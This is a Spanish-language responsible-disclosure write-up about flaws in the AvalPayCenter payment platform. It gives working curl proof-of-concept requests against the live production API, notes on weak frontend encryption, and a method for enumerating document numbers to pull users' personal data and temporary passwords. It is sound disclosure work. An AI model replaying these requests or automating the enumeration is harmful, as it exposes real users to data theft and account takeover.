Mientras utilizaba AvalPayCenter, una plataforma de pagos en línea del Grupo Aval, me encontré con un problema en el proceso de autenticación. Al inspeccionar las respuestas del servidor, noté que se estaba enviando un JWT (JSON Web Token) en Base64, el cual, al ser decodificado, revelaba información personal de usuarios sin necesidad de autenticación previa.
Este hallazgo inicial llevó a una exploración más profunda sobre cómo la plataforma manejaba las respuestas del backend y si las medidas implementadas posteriormente resolvieron completamente el problema.
Primera Vulnerabilidad: Exposición de Datos en JWT
En las respuestas del servidor, AvalPayCenter enviaba JWTs codificados en Base64, lo que hacía que la filtración de datos no fuera evidente a simple vista. Sin embargo, bastaba con decodificar las partes del JWT para encontrar información personal de los usuarios.

Análisis Técnico
Al realizar una solicitud al endpoint de autenticación (gestionusuario
), la plataforma devolvió un JWT (JSON Web Token). Lo preocupante no es solo que este token contenía información personal, sino que los datos no correspondían a mi cuenta.
curl 'https://z6vmsbfq9j.execute-api.us-east-1.amazonaws.com/prd/gestionusuario' -X POST \
-H 'User-Agent: PoC-security' \
-H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Language: en-US,en;q=0.8,es-CO;q=0.5,es;q=0.3' \
-H 'Accept-Encoding: gzip, deflate, br, zstd' \
-H 'servicio: login' \
-H 'Content-Type: text/plain' \
-H 'Origin: https://www.avalpaycenter.com' \
-H 'Referer: https://www.avalpaycenter.com/' \
-H 'TE: trailers' \
--data-raw 'ut6YW0GyRM/w9BbIJeELxDCOxdfxksY/iBtt3O2qN0CewkCXUqu2qxOkklx0Efm5b4FhZx9nzTtnoYysPzlx+ztkMNMoozmDfr5o+HRQqTWhDxk76B/aRKisP2uuQUh3kJLpwj2WKE34JdNsBPcY2MKU7SbPbWFXDoa17n0qTrmM6wY8DTBsaoxGhSp+by3iANgHGvXK5HnRL7AMrg/ORGd0P3QY06/nyjxuT6LWrElwN1PQ/xhZwBwVBHkbGIr8m0CAAQwPwugLuUX/jIDDvwJmZVXMeIBbiuOWaJ37sO9Ja/2b+Ac5hauOdExu/RwXaxrblvKe1HQn7WqTX6rLYjfmCxSNP85SUpDqHjmNdye1pB55i+bcj9M66tcroZF4DgsPve/cqcUCQfKt/xzkOnpYHKdOfdgRKB0gEjhHL6bM2EdXVDjDijsIERl6uRhDcwcdRzx0y6d3/xqE8uOWHuwCuASX5OBDHkoqT7rpXMeWuX06K1KL0yC8sUu/Bm1zX/AqJ970thIrF7Y/BWKXo1CUV8U/guyIr1X9O599EuckIwyXvHXxXBX/9hi2mTcARU3H48OhUPwywcE2B6kPjRIFmHY9pE2vdSqPfMwPhznuMOQnAI6G8eLOWpzG+xYPLOErTgQYNccsESqy1czLgkvd0ukq2u58dwjNIjKlHF4ooXAUzg=='
La respuesta que se recibe es un JWT como el siguiente:
eyJhbGciOiJSUzUxMiJ9.eyJqdGkiOiIxNzM5MDMzNDAwMDU0IiwiaWF0IjoxNzM5MDMzNDAwLCJzdWIiOnsic3RhdHVzQ29kZSI6IjIwMDAiLCJtZXNzYWdlIjoiU3VjY2VzcyIsInJlc3VsdCI6eyJwcmltZXJOb21icmUiOiJOT01CUkUiLCJzZWd1bmRvTm9tYnJlIjoiWFhYWFhYIiwicHJpbWVyQXBlbGxpZG8iOiJYWFhYWFgiLCJzZWd1bmRvQXBlbGxpZG8iOiJYWFhYWFgiLCJnZW5lcm8iOiJYIiwibm9tYnJlVXN1YXJpbyI6IlhYWFhYX1hYWFhYWFhYWCIsImNlbHVsYXIiOiJYWFhYWFhYWFhYIiwiZW1haWwiOiJ4eHh4eHhAZXhhbXBsZS5jb20iLCJ0aXBvRG9jIjoiWCIsIm51bURvYyI6IlhYWFhYWFhYWFgiLCJzdGF0dXMiOnsic3RhdHVzQ29kZSI6IklOVkFMSURfVVNFUiJ9fX0sImV4cCI6MTc0MDc3MjQzMX0.X16wBv0gej49fYk7Y5dfmykSx5BXOQVw8ZjW3GEXsUzz2DwI8jB6GOQvJTTQPLuK7G-g-I5qcFnOhS8XC8innVDRpI1m4P7nnScLJISnYBb6fDNN0YWGY-x7MTV7O6jSU3m5oG3Zd68zToXN0vU3CRuDCg_QDgl-JV3lOluA7XmR4y54qvLL0fTtXIQgiarK0CRTkKpF--VIKjJIiSGkXjg8kgFnceWP2MAMJBvouuL7VXsXGMbVTtveVrKFMmpFuBjzeTH5Sy5dW8G3lLFc0Ewvm8WlYdKMYHcebLXmOaRSToynxW14aJjIpaYYWLPHPKY4lZeo7gxrEq-YLpU0Pg
📌 Ejemplo de la respuesta decodificada (datos ofuscados):
{
"jti": "XXXXXXXXXXXXXX",
"iat": XXXXXXXXXX,
"sub": {
"statusCode": "2000",
"message": "Success",
"result": {
"primerNombre": "NOMBRE",
"segundoNombre": "XXXXXX",
"primerApellido": "XXXXXX",
"segundoApellido": "XXXXXX",
"genero": "X",
"nombreUsuario": "XXXXX_XXXXXXXXX",
"celular": "XXXXXXXXXX",
"email": "[email protected]",
"tipoDoc": "X",
"numDoc": "XXXXXXXXXX",
"status": {
"statusCode": "INVALID_USER"
}
}
},
"exp": XXXXXXXXXX
}
Cada solicitud devolvía información de un usuario diferente.
Corrección Implementada por AvalPayCenter
El 20 de febrero de 2025, volví a ejecutar la prueba de concepto para verificar si la vulnerabilidad aún estaba presente. Esta vez, la respuesta del servidor ya no incluía un JWT en texto plano, sino que la información estaba encriptada.
Aunque el problema inicial parecía solucionado, esto me llevó a preguntarme si la información realmente había sido eliminada o simplemente protegida mediante cifrado.
Explorando la Implementación de Cifrado
Tras verificar que la respuesta del servidor ya no incluía un JWT en texto plano, me interesó entender cómo se estaba aplicando el cifrado en la plataforma. Para ello, revisé el código JavaScript de la aplicación y analicé el flujo de datos entre el frontend y el backend.
- En el bundle de JavaScript de la aplicación, encontré una implementación de cifrado utilizada para procesar los payloads antes de enviarlos al servidor.
- La aplicación realiza la encriptación en el frontend, lo que me permitió replicar el proceso de transformación de los datos antes de ser enviados.
- A partir de este análisis, generé un script que utilizaba los mismos pasos de encriptación y desencriptación, lo que me permitió verificar que la vulnerabilidad inicial había sido corregida.
📌 Algunas observaciones sobre la implementación:
- El cifrado protege los datos en tránsito, pero su aplicación en el frontend plantea algunas consideraciones de seguridad.
- El IV utilizado en el proceso es constante y predecible, lo que puede afectar la seguridad del cifrado a largo plazo.
- No se observó un mecanismo de autenticación en los datos cifrados, lo que podría permitir la manipulación de los mensajes sin detección.
- El esquema de derivación de claves podría optimizarse, ya que la forma en que se transforma la clave de cifrado no sigue las mejores prácticas actuales.
Si bien el cifrado es un avance respecto a la exposición inicial de datos, su implementación sigue siendo un punto de análisis desde la perspectiva de seguridad. Dado este análisis, decidí revisar en mayor profundidad otros endpoints de la plataforma, lo que me llevó al hallazgo de los servicios findUser
y getUserByDocument
, que exponen datos personales sin requerir autenticación.
Segundo Hallazgo: Endpoint findUser

Al explorar los métodos de autenticación, encontré un endpoint llamado findUser
, el cual recibe un payload como este:
{
"tipoDocumento": "1",
"numeroDocumento": 10000000000
}
curl 'https://z6vmsbfq9j.execute-api.us-east-1.amazonaws.com/prd/usuarioAval/findUser' -X POST \
-H 'User-Agent: PoC-security' \
-H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Language: en-US,en;q=0.8,es-CO;q=0.5,es;q=0.3' \
-H 'Accept-Encoding: gzip, deflate, br, zstd' \
-H 'servicio: existUsuario' \
-H 'Content-Type: text/plain' \
-H 'Origin: https://www.avalpaycenter.com' \
-H 'Referer: https://www.avalpaycenter.com/' \
-H 'TE: trailers' \
--data-raw 'ut6YW0GzXtrt/hjGNa5UimaHiIKR1Y98yWEhmeGnLUDZnCXzHeqzpwW5kUEyCeO7fIFiZRpjyj1uqZ+xFxMs'
📌 La respuesta de este endpoint es un JWT que contiene información estructurada en una llave llamada result
:
{
"existUsuario": true,
"message": "Usuario encontrado",
"esAval": true,
"status": {
"statusCode": "200"
},
"responseDate": "2025-02-20T12:00:00.000Z",
"uid": "XXXXXXXXXXXXXX",
"primerNombre": "NOMBRE",
"segundoNombre": "XXXXXX",
"primerApellido": "XXXXXX",
"segundoApellido": "XXXXXX",
"genero": "X",
"email": "[email protected]",
"tipoDoc": "X",
"numDoc": "XXXXXXXXXX"
}
Tercer Hallazgo: Servicio getUserByDocument
del endpoint gestionusuario

Además del endpoint findUser
, encontré otro servicio vulnerable dentro del mismo endpoint gestionusuario
. El servicio getUserByDocument
permite consultar información personal de un usuario utilizando únicamente su número de documento.
Este servicio parece estar vinculado al proceso de recuperación de cuenta, ya que en su respuesta incluye una clave temporal (claveTemporal
). Sin embargo, al igual que en el segundo hallazgo, la falta de autenticación permite que esta información sea accesible sin restricciones, lo que facilita la enumeración de usuarios.
📌 Ejemplo de solicitud:
curl 'https://z6vmsbfq9j.execute-api.us-east-1.amazonaws.com/prd/gestionusuario' -X POST \
-H 'User-Agent: PoC-security' \
-H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Language: en-US,en;q=0.8,es-CO;q=0.5,es;q=0.3' \
-H 'Accept-Encoding: gzip, deflate, br, zstd' \
-H 'servicio: getUserByDocument' \
-H 'Content-Type: text/plain' \
-H 'Origin: https://www.avalpaycenter.com' \
-H 'Referer: https://www.avalpaycenter.com/' \
-H 'TE: trailers' \
--data-raw 'ut6YW0GjWMn31xLLNOELxDDZm4mAxo9v1FowiPL4aRyewkCXUquipQOiiEt+R5fgPdVxbgtj1wZ/uIzyUGgkvDp1COJv6m3oC6tm6GdQrjaoCRI+4w/Ger65PzXBEB0wkYPc1iyAfjO5c4R+DOIX2sCL6jurbX5dA+G+7XE8Uome+wZiYmE5LY1Xpzp1eDzDR4xDXciEqDCXLP8oqA+YGgwnepXb1/y+pW86PbHUuB4vZAXs8RhVjAQZLBZXTJH9hRWmHRY0wuAftegegtCb1E5kfQeLSKN/tbX1ENS8+/N8dfqK6h9OzO7eFyAPkxwXaxrblumL5GUm7Hu1X+2DYC/3EBX8OM9NV5D1HTCeahyktQ0qyKS95p1+7IVQ5Y4AS1hcv/ee6olFArav516nZCEhSvgZZtoTfx0gEjhHL6bM2EdQUXeciCMKH1IM2HRBW0VcVHswiuowqFPBoojeNvYCugaZjaERWGgwRbHiDN+MqXMSJ3iJkGz19kO5RTkwB7VTYtzs8lF9eNpwHw+D'
📌 El payload que recibe este endpoint es similar al siguiente:
{
"document": "111111111111111",
"documentType": 1,
"requestID": "1740110006873",
"requestDate": "2025-02-20T22:53:26",
"requestSender": "Olvido Contraseña",
"requestPage": "Olvido Contraseña",
"requestOriginPortal": "AVAL",
"requestUser": "1_111111111111111",
"ipAddress": "",
"bankInfo": {
"bankId": "",
"bankName": "",
"cardNumber": "",
"franchise": ""
}
}
Dado que el número de documento es un dato predecible, es posible automatizar solicitudes para obtener información de múltiples usuarios.
📌 La respuesta de este endpoint es un JWT que contiene información personal del usuario consultado:
{
"statusCode": "2000",
"message": "Success",
"result": {
"validSecurityQuestions": false,
"usuario": {
"claveTemporal": "999999999",
"primerNombre": "NOMBRE",
"primerApellido": "APELLIDO",
"tipoDocumento": "1",
"numeroDocumento": "1111111111",
"email": "[email protected]",
"genero": "X",
"nombreUsuario": "1_1111111111",
"esAval": false
}
}
}
🔍 Hallazgos clave:
- Tanto el endpoint
findUser
como el serviciogetUserByDocument
, dentro del endpointgestionusuario
, permiten obtener información personal con solo proporcionar un número de documento válido, sin requerir autenticación. - La inclusión de una clave temporal (
claveTemporal
) en la respuesta del serviciogetUserByDocument
es un aspecto preocupante, ya que este tipo de valores suelen utilizarse en procesos de autenticación o recuperación de cuenta. Si bien no logré identificar exactamente dónde se emplea en la plataforma, su presencia en la respuesta sugiere un posible riesgo adicional. - Ambos servicios presentan el mismo problema de seguridad, ya que permiten la explotación automatizada para recopilar datos personales de múltiples usuarios mediante la enumeración de números de documento.
Esto demuestra que, aunque la primera vulnerabilidad fue corregida, siguen existiendo servicios que exponen información personal sin autenticación. Los endpoints findUser
y getUserByDocument
permiten consultar información de cualquier usuario con solo conocer su número de documento, lo que representa un riesgo de privacidad significativo.
Si bien el número de documento no es un dato completamente público, es un identificador enumerable, lo que significa que se pueden generar combinaciones y realizar consultas automatizadas para extraer información de múltiples usuarios. Esta ausencia de restricciones sigue representando un riesgo de privacidad importante. -
📅 Timeline de los Reportes
Desde que encontré la primera vulnerabilidad, intenté comunicarme con AvalPayCenter en varias ocasiones para reportarla de manera responsable.
🗓️ 7 de junio de 2024
- Consulté con AvalPayCenter sobre el procedimiento para reportar una vulnerabilidad.
- Se asignaron los casos SD-2476821 y SD-2477099, pero no recibí respuesta sobre cómo proceder.
🗓️ 3 de febrero de 2025
- Contacté nuevamente a AvalPayCenter, esta vez por teléfono.
- Me indicaron que debía hacer el reporte por correo.
🗓️ 3 de febrero de 2025
- Envié un correo solicitando información sobre los canales adecuados para compartir los detalles de manera segura.
- Se generaron los casos SD-2710379 y SD-2710493.
🗓️ 5 de febrero de 2025
- Envié un follow-up reiterando la solicitud de un canal seguro para compartir los detalles.
🗓️ 12 de febrero de 2025
- Llamé nuevamente y expliqué la situación. Esta vez, el asesor indicó que iba a escalar el caso.
🗓️ 13 de febrero de 2025
- Me contactaron para confirmar que el caso fue escalado y que se estaba revisando la vulnerabilidad.
🗓️ 20 de febrero de 2025
- Verifiqué que la vulnerabilidad original fue corregida, pero encontré dos nuevos problemas en los servicios
findUser
ygetUserByDocument
. - Ambos permiten obtener información personal de usuarios proporcionando únicamente un número de documento válido.
- Si bien el número de documento no es un dato completamente público, es enumerable, lo que permite la extracción automatizada de información de múltiples usuarios sin autenticación.
- Verifiqué que la vulnerabilidad original fue corregida, pero encontré dos nuevos problemas en los servicios
🗓️ 10 de abril de 2025
Recibí una respuesta oficial de parte de Aval, en la que acusaron recibo de mi comunicación. El mensaje destacaba su compromiso con la seguridad, pero también incluía la siguiente afirmación:
“La administración y el manejo de temas relacionados con la seguridad de la información es altamente confidencial y está protegida por la ley, razón por la cual nos abstenemos de brindar información adicional.”
Este tipo de respuesta me dejó desanimado. Aunque es válido que una empresa no revele detalles técnicos sobre sus sistemas, el tono de esta frase podría interpretarse como un intento de desalentar futuras comunicaciones. Mi intención nunca ha sido generar conflicto, sino aportar constructivamente a la seguridad de una plataforma que manejamos miles de personas.
Estado Actual y Próximos Pasos
AvalPayCenter corrigió el problema inicial, en el que el sistema devolvía información de usuarios aleatorios cuando se ingresaban credenciales inválidas. Sin embargo, al revisar la implementación de cifrado en las respuestas del backend, identifiqué dos servicios adicionales que exponen información personal sin requerir autenticación.
Tanto el endpoint findUser
como el servicio getUserByDocument
dentro del endpoint gestionusuario
permiten obtener datos de usuarios proporcionando únicamente un número de documento válido. Si bien este identificador no es completamente público, es enumerable, lo que hace posible automatizar solicitudes y extraer información de múltiples usuarios.
Aunque la primera vulnerabilidad fue corregida, la exposición de datos a través de estos servicios sigue representando un riesgo de privacidad significativo.
Además, noté la incorporación de mensajes en la plataforma que intentan disuadir la inspección del código desde el navegador. Por ejemplo:
“No está permitido inspeccionar el código por razones de privacidad y confidencialidad. Por favor cierra la ventana y vuelve a la página de AvalPay Center.”
Este tipo de advertencias, aunque comprensibles desde una perspectiva legal o de cumplimiento, no ofrecen una protección real contra personas malintencionadas. Por el contrario, pueden generar una falsa sensación de seguridad o incluso aumentar la curiosidad de quienes tienen conocimientos técnicos. La seguridad basada en la oscuridad (security through obscurity) no reemplaza las buenas prácticas de protección de datos, autenticación y control de acceso.
Inspeccionar el código en el navegador es una herramienta legítima para cualquier desarrollador o investigador, y en mi caso, fue la que me permitió identificar estas vulnerabilidades en primer lugar.
⚠️ Si eres usuario de AvalPayCenter, es recomendable estar atento a cualquier comunicación oficial sobre mejoras de seguridad en la plataforma.